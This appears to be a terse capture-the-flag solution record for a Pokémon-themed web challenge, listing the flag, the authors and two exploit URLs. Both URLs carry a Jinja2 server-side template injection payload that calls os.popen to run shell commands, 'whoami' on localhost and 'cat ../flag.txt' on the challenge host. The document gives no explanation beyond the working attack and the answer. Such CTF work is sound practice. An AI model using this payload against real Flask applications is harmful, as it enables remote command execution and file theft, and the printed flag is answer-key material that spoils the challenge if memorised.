Picking a starter is hard, I hope you can do it.
4/10
PCTF{wHOS7H47PoKEmoN}
Jax
Txnn3r (Tanner Leventry)
http://127.0.0.1:5000/%7B%7Burl_for.__globals__.os.__dict__.popen(request.args.file).read()%7D%7D?file=whoami
http://chal.pctf.competitivecyber.club:5555/%7B%7Burl_for.__globals__.os.__dict__.popen(request.args.file).read()%7D%7D?file=cat%20../flag.txt